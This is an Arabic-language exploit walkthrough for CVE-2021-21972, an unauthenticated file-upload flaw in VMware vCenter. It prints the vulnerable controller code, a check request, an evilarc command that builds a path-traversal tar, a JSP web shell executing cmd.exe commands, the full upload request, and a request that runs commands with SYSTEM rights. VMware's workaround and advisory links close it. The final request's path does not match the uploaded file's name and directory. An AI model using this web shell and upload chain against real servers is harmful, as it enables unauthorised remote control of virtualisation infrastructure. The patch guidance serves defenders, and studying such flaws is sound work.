
[CVE-2021-21972] VMware vSphere Client رفع ملف غير مصرح به إلى تنفيذ التعليمات البرمجية عن بُعد (RCE)
[CVE-2021-21972] عميل VMware vSphere رفع ملف غير مصرح به إلى تنفيذ تعليمات برمجية عن بعد (RCE)
عميل vSphere الرئيسي (HTML5) هو بشكل أساسي واجهة إدارية تتيح إدارة تثبيت vSphere. يوفر عميل vSphere للمسؤول الوصول إلى الوظائف الرئيسية لـ vSphere دون الحاجة إلى الوصول مباشرة إلى خادم vSphere. يسمح للمسؤولين بإنشاء أجهزة افتراضية جديدة وإدارة الأجهزة الحالية ومواردها. كتطبيق ويب متعدد المنصات، يمكن استخدامه على جميع أنظمة التشغيل المدعومة من خلال الإصدارات المدعومة من متصفحات الويب المختلفة.
CVE-2021-21972 هي ثغرة رفع ملف غير مصرح به في vCenter Server تؤدي إلى تنفيذ تعليمات برمجية عن بعد على الخادم البعيد. تنشأ المشكلة من عدم وجود مصادقة في إضافة vRealize Operations vCenter. حصلت على درجة CVSSv3 حرجة تبلغ 9.8 من 10.0. يمكن لمهاجم عن بعد غير مصادق استغلال هذه الثغرة عن طريق رفع ملف مصمم خصيصًا إلى نقطة نهاية خادم vCenter ضعيفة يمكن الوصول إليها علنًا. تتأثر إصدارات VMware vCenter Server 6.5, 6.7 و 7.0 بهذه الثغرة. سيؤدي الاستغلال الناجح لهذه الثغرة إلى حصول المهاجم على صلاحيات تنفيذ تعليمات برمجية عن بعد غير مقيدة (RCE) في نظام التشغيل الأساسي لخادم vCenter. على الرغم من أن هذه الثغرة تنبع من إضافة vRealize Operations vCenter Plugin، فإن تحذير VMware يؤكد أن هذه الإضافة مضمنة في جميع التثبيتات الافتراضية لـ vCenter Server. وهذا يعني أن نقطة النهاية الضعيفة متاحة بغض النظر عن وجود vRealize Operations.
في المنشور الأصلي هنا، تم شرح اكتشاف الثغرة بأكبر قدر من التفصيل بالإضافة إلى مسارين منفصلين لتحقيق الـ RCE. بالنسبة لأنظمة Windows، يمكن للمهاجم رفع ملف .jsp مصمم خصيصًا للحصول على صلاحيات NT AUTHORITY\SYSTEM على نظام التشغيل الأساسي. بالنسبة لأنظمة Linux، سيحتاج المهاجم إلى إنشاء ورفع مفتاح عام إلى مسار authorized_keys الخاص بالخادم ثم الاتصال بالخادم الضعيف عبر SSH للحصول على صلاحيات مستخدم vsphere-ui. (إذا كانت خدمة SSH قيد التشغيل ويمكن الوصول إليها عبر الشبكة)
vropsplugin-service.jar هو ملف أرشيف جافا لإضافة vropspluginui ويتضمن بعض الفئات والوظائف والأساليب الأخرى ذات الصلة. يوضح الشكل أدناه الجزء الضعيف من الكود. مقتطف الكود هذا ينتمي إلى فئة ServicesController.class في وحدة التحكم لملف vropsplugin-service.jar. كما ترى في مقتطف الكود أدناه، فإن دالة uploadOvaFile مسؤولة عن نقطة النهاية/الرابط /ui/vropspluginui/rest/services/uploadova
المسار الكامل للفئة الضعيفة: vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
logger.info("Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
PrintWriter wr = null;
try {
if (code != 200) {
response.sendError(code, "Arguments Missing");
return;
}
wr = response.getWriter();
} catch (IOException e) {
e.printStackTrace();
logger.info("upload Ova Controller Ended With Error");
}
response.setStatus(code);
String returnStatus = "SUCCESS";
if (!uploadFile.isEmpty())
try {
logger.info("Downloading OVA file has been started");
logger.info("Size of the file received : " + uploadFile.getSize());
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
if (!dir.exists()) {
dir.mkdirs();
} else {
String[] entries = dir.list();
for (String str : entries) {
File currentFile = new File(dir.getPath(), str);
currentFile.delete();
}
logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
}
TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry = in.getNextTarEntry();
List<String> result = new ArrayList<String>();
while (entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
continue;
}
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists())
parent.mkdirs();
OutputStream out = new FileOutputStream(curfile);
IOUtils.copy((InputStream)in, out);
out.close();
result.add(entry.getName());
entry = in.getNextTarEntry();
}
in.close();
logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
} catch (Exception e) {
logger.error("Unable to upload OVA file :" + e);
returnStatus = "FAILED";
}
wr.write(returnStatus);
wr.flush();
wr.close();
}
من منظور المهاجم، يقوم معالج هذه الفئة بالإجراءات التالية
uploadFile مع طلب POST (السطر 2)uploadFile وكتابة محتوى هذه المعلمة إلى متغير inputStream (السطر 22)/tmp/unicorn_ova_dir + entry.getName() (السطرين 42 و 47)إثبات المفهوم: لاستغلال هذه الثغرة، يمكنك استخدام الخطوات التالية
../..//statsreport/uploadedFileName.jspللتحقق من الثغرة، يمكنك استخدام الطلب التالي
GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
إذا كان رد الطلب أعلاه مشابهًا للردود أدناه، فهذا يعني أن الخادم البعيد ضعيف تجاه CVE-2021-21972
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous
{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close
{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}
بعد ذلك، نحتاج إلى إنشاء ملف .tar مصمم. لهذا يمكنك استخدام evilarc. Evilarc هو سكربت بايثون أساسي يسمح لك بإنشاء ملف zip يحتوي على ملفات ذات أحرف تنقل بين الدلائل في مسارها المضمن.
محتوى cmdjsp.jsp وهو في الأساس شل ويب
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
باستخدام الأمر التالي، سيتم إنشاء ملف أرشيف .tar مصمم.
> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp
Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp
> cat winexpl3.tar
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
ثم، فقط قم برفع ملف .tar إلى الخادم باستخدام الطلب التالي
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200
------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--
رد الطلب أعلاه هو أدناه
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7
SUCCESS
إذا كان رمز حالة الرد للطلب أعلاه 200 OK والمحتوى SUCCESS، فهذا يعني أن ملف .tar قد تم رفعه بنجاح إلى المسار ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport. نظرًا لتدفق التطبيق، سيقوم الخادم باستخراج ملف .tar إلى الدليل /statsreport. بعد هذه المرحلة، كل ما عليك فعله هو طلب GET التالي لتنفيذ الأوامر عن بعد بصلاحيات NT AUTHORITY\SYSTEM.
GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
حل بديل: قامت VMware بإصلاح هذه الثغرة للإصدارات 7.0 U1c, 6.7 U3l و 6.5 U3n على التوالي. ومع ذلك، إذا تعذر تثبيت التصحيح، لتنفيذ الحل البديل لـ CVE-2021-21972 و CVE-2021-21973 على تثبيتات vCenter Server القائمة على Windows، قم بالخطوات التالية:
C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\compatibility-matrix.xmlcompatibility-matrix.xml في محرر نصوص<PluginPackage id="com.vmware.vrops.install" status="incompatible"/> داخل عنصر pluginsCompatibilityC:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui
Administration > Solutions > client-pluginsلتنفيذ الحل البديل لـ CVE-2021-21972 و CVE-2021-21973 على الأجهزة الافتراضية القائمة على Linux (vCSA) قم بالخطوات التالية:
/etc/vmware/vsphere-ui/compatibility-matrix.xmlcompatibility-matrix.xml في محرر نصوص<PluginPackage id="com.vmware.vrops.install" status="incompatible"/> داخل عنصر pluginsCompatibility> service-control --stop vsphere-ui
> service-control --start vsphere-ui
لاحظ أن هذه الثغرة تم اكتشافها بواسطة Mikhail Klyuchnikov من Positive Technologies والمنشور الأصلي للبحث متاح هنا
لمزيد من المعلومات، قم بزيارة الصفحات التالية.
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://kb.vmware.com/s/article/82374
https://docs.vmware.com/en/VMware-vSphere/7.0/rn/vsphere-vcenter-server-70u1c-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.7/rn/vsphere-vcenter-server-67u3l-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.5/rn/vsphere-vcenter-server-65u3n-release-notes.html